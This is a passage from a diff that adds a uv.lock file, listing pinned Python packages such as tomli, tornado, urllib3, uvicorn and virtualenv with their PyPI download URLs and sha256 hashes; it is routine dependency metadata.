"https://files.pythonhosted.org/packages/81/0d/13d1d239a25cbfb19e740db83143e95c772a1fe10202dda4b76792b114dd/starlette-0.52.1-py3-none-any.whl", hash = "sha256:0029d43eb3d273bc4f83a08720b4912ea4b071087a3b48db01b7c839f7954d74", size = 74272, upload-time = "2026-01-18T13:34:09.188Z" }, +] + +[[package]] +name = "tabulate" +version = "0.8.10" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7a/53/afac341569b3fd558bf2b5428e925e2eb8753ad9627c1f9188104c6e0c4a/tabulate-0.8.10.tar.gz", hash = "sha256:6c57f3f3dd7ac2782770155f3adb2db0b1a269637e42f27599925e64b114f519", size = 60154, upload-time = "2022-06-21T16:26:42.76Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/92/4e/e5a13fdb3e6f81ce11893523ff289870c87c8f1f289a7369fb0e9840c3bb/tabulate-0.8.10-py3-none-any.whl", hash = "sha256:0ba055423dbaa164b9e456abe7920c5e8ed33fcc16f6d1b2f2d152c8e1e8b4fc", size = 29068, upload-time = "2022-06-21T16:26:37.943Z" }, +] + +[[package]] +name = "tldextract" +version = "5.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "filelock" }, + { name = "idna" }, + { name = "requests" }, + { name = "requests-file" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/65/7b/644fbbb49564a6cb124a8582013315a41148dba2f72209bba14a84242bf0/tldextract-5.3.1.tar.gz", hash = "sha256:a72756ca170b2510315076383ea2993478f7da6f897eef1f4a5400735d5057fb", size = 126105, upload-time = "2025-12-28T23:58:05.532Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6d/42/0e49d6d0aac449ca71952ec5bae764af009754fcb2e76a5cc097543747b3/tldextract-5.3.1-py3-none-any.whl", hash = "sha256:6bfe36d518de569c572062b788e16a659ccaceffc486d243af0484e8ecf432d9", size = 105886, upload-time = "2025-12-28T23:58:04.071Z" }, +] + +[[package]] +name = "tomli" +version = "2.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/30/31573e9457673ab10aa432461bee537ce6cef177667deca369efb79df071/tomli-2.4.0.tar.gz", hash = "sha256:aa89c3f6c277dd275d8e243ad24f3b5e701491a860d5121f2cdd399fbb31fc9c", size = 17477, upload-time = "2026-01-11T11:22:38.165Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3c/d9/3dc2289e1f3b32eb19b9785b6a006b28ee99acb37d1d47f78d4c10e28bf8/tomli-2.4.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b5ef256a3fd497d4973c11bf142e9ed78b150d36f5773f1ca6088c230ffc5867", size = 153663, upload-time = "2026-01-11T11:21:45.27Z" }, + { url = "https://files.pythonhosted.org/packages/51/32/ef9f6845e6b9ca392cd3f64f9ec185cc6f09f0a2df3db08cbe8809d1d435/tomli-2.4.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:5572e41282d5268eb09a697c89a7bee84fae66511f87533a6f88bd2f7b652da9", size = 148469, upload-time = "2026-01-11T11:21:46.873Z" }, + { url = "https://files.pythonhosted.org/packages/d6/c2/506e44cce89a8b1b1e047d64bd495c22c9f71f21e05f380f1a950dd9c217/tomli-2.4.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:551e321c6ba03b55676970b47cb1b73f14a0a4dce6a3e1a9458fd6d921d72e95", size = 236039, upload-time = "2026-01-11T11:21:48.503Z" }, + { url = "https://files.pythonhosted.org/packages/b3/40/e1b65986dbc861b7e986e8ec394598187fa8aee85b1650b01dd925ca0be8/tomli-2.4.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e3f639a7a8f10069d0e15408c0b96a2a828cfdec6fca05296ebcdcc28ca7c76", size = 243007, upload-time = "2026-01-11T11:21:49.456Z" }, + { url = "https://files.pythonhosted.org/packages/9c/6f/6e39ce66b58a5b7ae572a0f4352ff40c71e8573633deda43f6a379d56b3e/tomli-2.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:1b168f2731796b045128c45982d3a4874057626da0e2ef1fdd722848b741361d", size = 240875, upload-time = "2026-01-11T11:21:50.755Z" }, + { url = "https://files.pythonhosted.org/packages/aa/ad/cb089cb190487caa80204d503c7fd0f4d443f90b95cf4ef5cf5aa0f439b0/tomli-2.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:133e93646ec4300d651839d382d63edff11d8978be23da4cc106f5a18b7d0576", size = 246271, upload-time = "2026-01-11T11:21:51.81Z" }, + { url = "https://files.pythonhosted.org/packages/0b/63/69125220e47fd7a3a27fd0de0c6398c89432fec41bc739823bcc66506af6/tomli-2.4.0-cp311-cp311-win32.whl", hash = "sha256:b6c78bdf37764092d369722d9946cb65b8767bfa4110f902a1b2542d8d173c8a", size = 96770, upload-time = "2026-01-11T11:21:52.647Z" }, + { url = "https://files.pythonhosted.org/packages/1e/0d/a22bb6c83f83386b0008425a6cd1fa1c14b5f3dd4bad05e98cf3dbbf4a64/tomli-2.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:d3d1654e11d724760cdb37a3d7691f0be9db5fbdaef59c9f532aabf87006dbaa", size = 107626, upload-time = "2026-01-11T11:21:53.459Z" }, + { url = "https://files.pythonhosted.org/packages/2f/6d/77be674a3485e75cacbf2ddba2b146911477bd887dda9d8c9dfb2f15e871/tomli-2.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:cae9c19ed12d4e8f3ebf46d1a75090e4c0dc16271c5bce1c833ac168f08fb614", size = 94842, upload-time = "2026-01-11T11:21:54.831Z" }, + { url = "https://files.pythonhosted.org/packages/3c/43/7389a1869f2f26dba52404e1ef13b4784b6b37dac93bac53457e3ff24ca3/tomli-2.4.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:920b1de295e72887bafa3ad9f7a792f811847d57ea6b1215154030cf131f16b1", size = 154894, upload-time = "2026-01-11T11:21:56.07Z" }, + { url = "https://files.pythonhosted.org/packages/e9/05/2f9bf110b5294132b2edf13fe6ca6ae456204f3d749f623307cbb7a946f2/tomli-2.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:7d6d9a4aee98fac3eab4952ad1d73aee87359452d1c086b5ceb43ed02ddb16b8", size = 149053, upload-time = "2026-01-11T11:21:57.467Z" }, + { url = "https://files.pythonhosted.org/packages/e8/41/1eda3ca1abc6f6154a8db4d714a4d35c4ad90adc0bcf700657291593fbf3/tomli-2.4.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:36b9d05b51e65b254ea6c2585b59d2c4cb91c8a3d91d0ed0f17591a29aaea54a", size = 243481, upload-time = "2026-01-11T11:21:58.661Z" }, + { url = "https://files.pythonhosted.org/packages/d2/6d/02ff5ab6c8868b41e7d4b987ce2b5f6a51d3335a70aa144edd999e055a01/tomli-2.4.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1c8a885b370751837c029ef9bc014f27d80840e48bac415f3412e6593bbc18c1", size = 251720, upload-time = "2026-01-11T11:22:00.178Z" }, + { url = "https://files.pythonhosted.org/packages/7b/57/0405c59a909c45d5b6f146107c6d997825aa87568b042042f7a9c0afed34/tomli-2.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8768715ffc41f0008abe25d808c20c3d990f42b6e2e58305d5da280ae7d1fa3b", size = 247014, upload-time = "2026-01-11T11:22:01.238Z" }, + { url = "https://files.pythonhosted.org/packages/2c/0e/2e37568edd944b4165735687cbaf2fe3648129e440c26d02223672ee0630/tomli-2.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:7b438885858efd5be02a9a133caf5812b8776ee0c969fea02c45e8e3f296ba51", size = 251820, upload-time = "2026-01-11T11:22:02.727Z" }, + { url = "https://files.pythonhosted.org/packages/5a/1c/ee3b707fdac82aeeb92d1a113f803cf6d0f37bdca0849cb489553e1f417a/tomli-2.4.0-cp312-cp312-win32.whl", hash = "sha256:0408e3de5ec77cc7f81960c362543cbbd91ef883e3138e81b729fc3eea5b9729", size = 97712, upload-time = "2026-01-11T11:22:03.777Z" }, + { url = "https://files.pythonhosted.org/packages/69/13/c07a9177d0b3bab7913299b9278845fc6eaaca14a02667c6be0b0a2270c8/tomli-2.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:685306e2cc7da35be4ee914fd34ab801a6acacb061b6a7abca922aaf9ad368da", size = 108296, upload-time = "2026-01-11T11:22:04.86Z" }, + { url = "https://files.pythonhosted.org/packages/18/27/e267a60bbeeee343bcc279bb9e8fbed0cbe224bc7b2a3dc2975f22809a09/tomli-2.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:5aa48d7c2356055feef06a43611fc401a07337d5b006be13a30f6c58f869e3c3", size = 94553, upload-time = "2026-01-11T11:22:05.854Z" }, + { url = "https://files.pythonhosted.org/packages/34/91/7f65f9809f2936e1f4ce6268ae1903074563603b2a2bd969ebbda802744f/tomli-2.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:84d081fbc252d1b6a982e1870660e7330fb8f90f676f6e78b052ad4e64714bf0", size = 154915, upload-time = "2026-01-11T11:22:06.703Z" }, + { url = "https://files.pythonhosted.org/packages/20/aa/64dd73a5a849c2e8f216b755599c511badde80e91e9bc2271baa7b2cdbb1/tomli-2.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9a08144fa4cba33db5255f9b74f0b89888622109bd2776148f2597447f92a94e", size = 149038, upload-time = "2026-01-11T11:22:07.56Z" }, + { url = "https://files.pythonhosted.org/packages/9e/8a/6d38870bd3d52c8d1505ce054469a73f73a0fe62c0eaf5dddf61447e32fa/tomli-2.4.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c73add4bb52a206fd0c0723432db123c0c75c280cbd67174dd9d2db228ebb1b4", size = 242245, upload-time = "2026-01-11T11:22:08.344Z" }, + { url = "https://files.pythonhosted.org/packages/59/bb/8002fadefb64ab2669e5b977df3f5e444febea60e717e755b38bb7c41029/tomli-2.4.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1fb2945cbe303b1419e2706e711b7113da57b7db31ee378d08712d678a34e51e", size = 250335, upload-time = "2026-01-11T11:22:09.951Z" }, + { url = "https://files.pythonhosted.org/packages/a5/3d/4cdb6f791682b2ea916af2de96121b3cb1284d7c203d97d92d6003e91c8d/tomli-2.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bbb1b10aa643d973366dc2cb1ad94f99c1726a02343d43cbc011edbfac579e7c", size = 245962, upload-time = "2026-01-11T11:22:11.27Z" }, + { url = "https://files.pythonhosted.org/packages/f2/4a/5f25789f9a460bd858ba9756ff52d0830d825b458e13f754952dd15fb7bb/tomli-2.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4cbcb367d44a1f0c2be408758b43e1ffb5308abe0ea222897d6bfc8e8281ef2f", size = 250396, upload-time = "2026-01-11T11:22:12.325Z" }, + { url = "https://files.pythonhosted.org/packages/aa/2f/b73a36fea58dfa08e8b3a268750e6853a6aac2a349241a905ebd86f3047a/tomli-2.4.0-cp313-cp313-win32.whl", hash = "sha256:7d49c66a7d5e56ac959cb6fc583aff0651094ec071ba9ad43df785abc2320d86", size = 97530, upload-time = "2026-01-11T11:22:13.865Z" }, + { url = "https://files.pythonhosted.org/packages/3b/af/ca18c134b5d75de7e8dc551c5234eaba2e8e951f6b30139599b53de9c187/tomli-2.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:3cf226acb51d8f1c394c1b310e0e0e61fecdd7adcb78d01e294ac297dd2e7f87", size = 108227, upload-time = "2026-01-11T11:22:15.224Z" }, + { url = "https://files.pythonhosted.org/packages/22/c3/b386b832f209fee8073c8138ec50f27b4460db2fdae9ffe022df89a57f9b/tomli-2.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:d20b797a5c1ad80c516e41bc1fb0443ddb5006e9aaa7bda2d71978346aeb9132", size = 94748, upload-time = "2026-01-11T11:22:16.009Z" }, + { url = "https://files.pythonhosted.org/packages/f3/c4/84047a97eb1004418bc10bdbcfebda209fca6338002eba2dc27cc6d13563/tomli-2.4.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:26ab906a1eb794cd4e103691daa23d95c6919cc2fa9160000ac02370cc9dd3f6", size = 154725, upload-time = "2026-01-11T11:22:17.269Z" }, + { url = "https://files.pythonhosted.org/packages/a8/5d/d39038e646060b9d76274078cddf146ced86dc2b9e8bbf737ad5983609a0/tomli-2.4.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:20cedb4ee43278bc4f2fee6cb50daec836959aadaf948db5172e776dd3d993fc", size = 148901, upload-time = "2026-01-11T11:22:18.287Z" }, + { url = "https://files.pythonhosted.org/packages/73/e5/383be1724cb30f4ce44983d249645684a48c435e1cd4f8b5cded8a816d3c/tomli-2.4.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:39b0b5d1b6dd03684b3fb276407ebed7090bbec989fa55838c98560c01113b66", size = 243375, upload-time = "2026-01-11T11:22:19.154Z" }, + { url = "https://files.pythonhosted.org/packages/31/f0/bea80c17971c8d16d3cc109dc3585b0f2ce1036b5f4a8a183789023574f2/tomli-2.4.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a26d7ff68dfdb9f87a016ecfd1e1c2bacbe3108f4e0f8bcd2228ef9a766c787d", size = 250639, upload-time = "2026-01-11T11:22:20.168Z" }, + { url = "https://files.pythonhosted.org/packages/2c/8f/2853c36abbb7608e3f945d8a74e32ed3a74ee3a1f468f1ffc7d1cb3abba6/tomli-2.4.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:20ffd184fb1df76a66e34bd1b36b4a4641bd2b82954befa32fe8163e79f1a702", size = 246897, upload-time = "2026-01-11T11:22:21.544Z" }, + { url = "https://files.pythonhosted.org/packages/49/f0/6c05e3196ed5337b9fe7ea003e95fd3819a840b7a0f2bf5a408ef1dad8ed/tomli-2.4.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75c2f8bbddf170e8effc98f5e9084a8751f8174ea6ccf4fca5398436e0320bc8", size = 254697, upload-time = "2026-01-11T11:22:23.058Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f5/2922ef29c9f2951883525def7429967fc4d8208494e5ab524234f06b688b/tomli-2.4.0-cp314-cp314-win32.whl", hash = "sha256:31d556d079d72db7c584c0627ff3a24c5d3fb4f730221d3444f3efb1b2514776", size = 98567, upload-time = "2026-01-11T11:22:24.033Z" }, + { url = "https://files.pythonhosted.org/packages/7b/31/22b52e2e06dd2a5fdbc3ee73226d763b184ff21fc24e20316a44ccc4d96b/tomli-2.4.0-cp314-cp314-win_amd64.whl", hash = "sha256:43e685b9b2341681907759cf3a04e14d7104b3580f808cfde1dfdb60ada85475", size = 108556, upload-time = "2026-01-11T11:22:25.378Z" }, + { url = "https://files.pythonhosted.org/packages/48/3d/5058dff3255a3d01b705413f64f4306a141a8fd7a251e5a495e3f192a998/tomli-2.4.0-cp314-cp314-win_arm64.whl", hash = "sha256:3d895d56bd3f82ddd6faaff993c275efc2ff38e52322ea264122d72729dca2b2", size = 96014, upload-time = "2026-01-11T11:22:26.138Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4e/75dab8586e268424202d3a1997ef6014919c941b50642a1682df43204c22/tomli-2.4.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:5b5807f3999fb66776dbce568cc9a828544244a8eb84b84b9bafc080c99597b9", size = 163339, upload-time = "2026-01-11T11:22:27.143Z" }, + { url = "https://files.pythonhosted.org/packages/06/e3/b904d9ab1016829a776d97f163f183a48be6a4deb87304d1e0116a349519/tomli-2.4.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c084ad935abe686bd9c898e62a02a19abfc9760b5a79bc29644463eaf2840cb0", size = 159490, upload-time = "2026-01-11T11:22:28.399Z" }, + { url = "https://files.pythonhosted.org/packages/e3/5a/fc3622c8b1ad823e8ea98a35e3c632ee316d48f66f80f9708ceb4f2a0322/tomli-2.4.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f2e3955efea4d1cfbcb87bc321e00dc08d2bcb737fd1d5e398af111d86db5df", size = 269398, upload-time = "2026-01-11T11:22:29.345Z" }, + { url = "https://files.pythonhosted.org/packages/fd/33/62bd6152c8bdd4c305ad9faca48f51d3acb2df1f8791b1477d46ff86e7f8/tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d", size = 276515, upload-time = "2026-01-11T11:22:30.327Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ff/ae53619499f5235ee4211e62a8d7982ba9e439a0fb4f2f351a93d67c1dd2/tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f", size = 273806, upload-time = "2026-01-11T11:22:32.56Z" }, + { url = "https://files.pythonhosted.org/packages/47/71/cbca7787fa68d4d0a9f7072821980b39fbb1b6faeb5f5cf02f4a5559fa28/tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b", size = 281340, upload-time = "2026-01-11T11:22:33.505Z" }, + { url = "https://files.pythonhosted.org/packages/f5/00/d595c120963ad42474cf6ee7771ad0d0e8a49d0f01e29576ee9195d9ecdf/tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087", size = 108106, upload-time = "2026-01-11T11:22:34.451Z" }, + { url = "https://files.pythonhosted.org/packages/de/69/9aa0c6a505c2f80e519b43764f8b4ba93b5a0bbd2d9a9de6e2b24271b9a5/tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd", size = 120504, upload-time = "2026-01-11T11:22:35.764Z" }, + { url = "https://files.pythonhosted.org/packages/b3/9f/f1668c281c58cfae01482f7114a4b88d345e4c140386241a1a24dcc9e7bc/tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4", size = 99561, upload-time = "2026-01-11T11:22:36.624Z" }, + { url = "https://files.pythonhosted.org/packages/23/d1/136eb2cb77520a31e1f64cbae9d33ec6df0d78bdf4160398e86eec8a8754/tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a", size = 14477, upload-time = "2026-01-11T11:22:37.446Z" }, +] + +[[package]] +name = "tornado" +version = "6.5.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/37/1d/0a336abf618272d53f62ebe274f712e213f5a03c0b2339575430b8362ef2/tornado-6.5.4.tar.gz", hash = "sha256:a22fa9047405d03260b483980635f0b041989d8bcc9a313f8fe18b411d84b1d7", size = 513632, upload-time = "2025-12-15T19:21:03.836Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ab/a9/e94a9d5224107d7ce3cc1fab8d5dc97f5ea351ccc6322ee4fb661da94e35/tornado-6.5.4-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:d6241c1a16b1c9e4cc28148b1cda97dd1c6cb4fb7068ac1bedc610768dff0ba9", size = 443909, upload-time = "2025-12-15T19:20:48.382Z" }, + { url = "https://files.pythonhosted.org/packages/db/7e/f7b8d8c4453f305a51f80dbb49014257bb7d28ccb4bbb8dd328ea995ecad/tornado-6.5.4-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2d50f63dda1d2cac3ae1fa23d254e16b5e38153758470e9956cbc3d813d40843", size = 442163, upload-time = "2025-12-15T19:20:49.791Z" }, + { url = "https://files.pythonhosted.org/packages/ba/b5/206f82d51e1bfa940ba366a8d2f83904b15942c45a78dd978b599870ab44/tornado-6.5.4-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1cf66105dc6acb5af613c054955b8137e34a03698aa53272dbda4afe252be17", size = 445746, upload-time = "2025-12-15T19:20:51.491Z" }, + { url = "https://files.pythonhosted.org/packages/8e/9d/1a3338e0bd30ada6ad4356c13a0a6c35fbc859063fa7eddb309183364ac1/tornado-6.5.4-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:50ff0a58b0dc97939d29da29cd624da010e7f804746621c78d14b80238669335", size = 445083, upload-time = "2025-12-15T19:20:52.778Z" }, + { url = "https://files.pythonhosted.org/packages/50/d4/e51d52047e7eb9a582da59f32125d17c0482d065afd5d3bc435ff2120dc5/tornado-6.5.4-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5fb5e04efa54cf0baabdd10061eb4148e0be137166146fff835745f59ab9f7f", size = 445315, upload-time = "2025-12-15T19:20:53.996Z" }, + { url = "https://files.pythonhosted.org/packages/27/07/2273972f69ca63dbc139694a3fc4684edec3ea3f9efabf77ed32483b875c/tornado-6.5.4-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9c86b1643b33a4cd415f8d0fe53045f913bf07b4a3ef646b735a6a86047dda84", size = 446003, upload-time = "2025-12-15T19:20:56.101Z" }, + { url = "https://files.pythonhosted.org/packages/d1/83/41c52e47502bf7260044413b6770d1a48dda2f0246f95ee1384a3cd9c44a/tornado-6.5.4-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:6eb82872335a53dd063a4f10917b3efd28270b56a33db69009606a0312660a6f", size = 445412, upload-time = "2025-12-15T19:20:57.398Z" }, + { url = "https://files.pythonhosted.org/packages/10/c7/bc96917f06cbee182d44735d4ecde9c432e25b84f4c2086143013e7b9e52/tornado-6.5.4-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6076d5dda368c9328ff41ab5d9dd3608e695e8225d1cd0fd1e006f05da3635a8", size = 445392, upload-time = "2025-12-15T19:20:58.692Z" }, + { url = "https://files.pythonhosted.org/packages/0c/1a/d7592328d037d36f2d2462f4bc1fbb383eec9278bc786c1b111cbbd44cfa/tornado-6.5.4-cp39-abi3-win32.whl", hash = "sha256:1768110f2411d5cd281bac0a090f707223ce77fd110424361092859e089b38d1", size = 446481, upload-time = "2025-12-15T19:21:00.008Z" }, + { url = "https://files.pythonhosted.org/packages/d6/6d/c69be695a0a64fd37a97db12355a035a6d90f79067a3cf936ec2b1dc38cd/tornado-6.5.4-cp39-abi3-win_amd64.whl", hash = "sha256:fa07d31e0cd85c60713f2b995da613588aa03e1303d75705dca6af8babc18ddc", size = 446886, upload-time = "2025-12-15T19:21:01.287Z" }, + { url = "https://files.pythonhosted.org/packages/50/49/8dc3fd90902f70084bd2cd059d576ddb4f8bb44c2c7c0e33a11422acb17e/tornado-6.5.4-cp39-abi3-win_arm64.whl", hash = "sha256:053e6e16701eb6cbe641f308f4c1a9541f91b6261991160391bfc342e8a551a1", size = 445910, upload-time = "2025-12-15T19:21:02.571Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "unidecode" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/7d/a8a765761bbc0c836e397a2e48d498305a865b70a8600fd7a942e85dcf63/Unidecode-1.4.0.tar.gz", hash = "sha256:ce35985008338b676573023acc382d62c264f307c8f7963733405add37ea2b23", size = 200149, upload-time = "2025-04-24T08:45:03.798Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8f/b7/559f59d57d18b44c6d1250d2eeaa676e028b9c527431f5d0736478a73ba1/Unidecode-1.4.0-py3-none-any.whl", hash = "sha256:c3c7606c27503ad8d501270406e345ddb480a7b5f38827eafe4fa82a137f0021", size = 235837, upload-time = "2025-04-24T08:45:01.609Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.39.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "h11" }, + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ae/4f/f9fdac7cf6dd79790eb165639b5c452ceeabc7bbabbba4569155470a287d/uvicorn-0.39.0.tar.gz", hash = "sha256:610512b19baa93423d2892d7823741f6d27717b642c8964000d7194dded19302", size = 82001, upload-time = "2025-12-21T13:05:17.973Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6b/25/db2b1c6c35bf22e17fe5412d2ee5d3fd7a20d07ebc9dac8b58f7db2e23a0/uvicorn-0.39.0-py3-none-any.whl", hash = "sha256:7beec21bd2693562b386285b188a7963b06853c0d006302b3e4cfed950c9929a", size = 68491, upload-time = "2025-12-21T13:05:16.291Z" }, +] + +[[package]] +name = "verspec" +version = "0.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/44/8126f9f0c44319b2efc65feaad589cadef4d77ece200ae3c9133d58464d0/verspec-0.1.0.tar.gz", hash = "sha256:c4504ca697b2056cdb4bfa7121461f5a0e81809255b41c03dda4ba823637c01e", size = 27123, upload-time = "2020-11-30T02:24:09.646Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/ce/3b6fee91c85626eaf769d617f1be9d2e15c1cca027bbdeb2e0d751469355/verspec-0.1.0-py3-none-any.whl", hash = "sha256:741877d5633cc9464c45a469ae2a31e801e6dbbaa85b9675d481cda100f11c31", size = 19640, upload-time = "2020-11-30T02:24:08.387Z" }, +] + +[[package]] +name = "virtualenv" +version = "20.36.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "distlib" }, + { name = "filelock" }, + { name = "platformdirs" }, + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/aa/a3/4d310fa5f00863544e1d0f4de93bddec248499ccf97d4791bc3122c9d4f3/virtualenv-20.36.1.tar.gz", hash = "sha256:8befb5c81842c641f8ee658481e42641c68b5eab3521d8e092d18320902466ba", size = 6032239, upload-time = "2026-01-09T18:21:01.296Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6a/2a/dc2228b2888f51192c7dc766106cd475f1b768c10caaf9727659726f7391/virtualenv-20.36.1-py3-none-any.whl", hash = "sha256:575a8d6b124ef88f6f51d56d656132389f961062a9177016a50e4f507bbcc19f", size = 6008258, upload-time = "2026-01-09T18:20:59.425Z" }, +] + +[[package]] +name 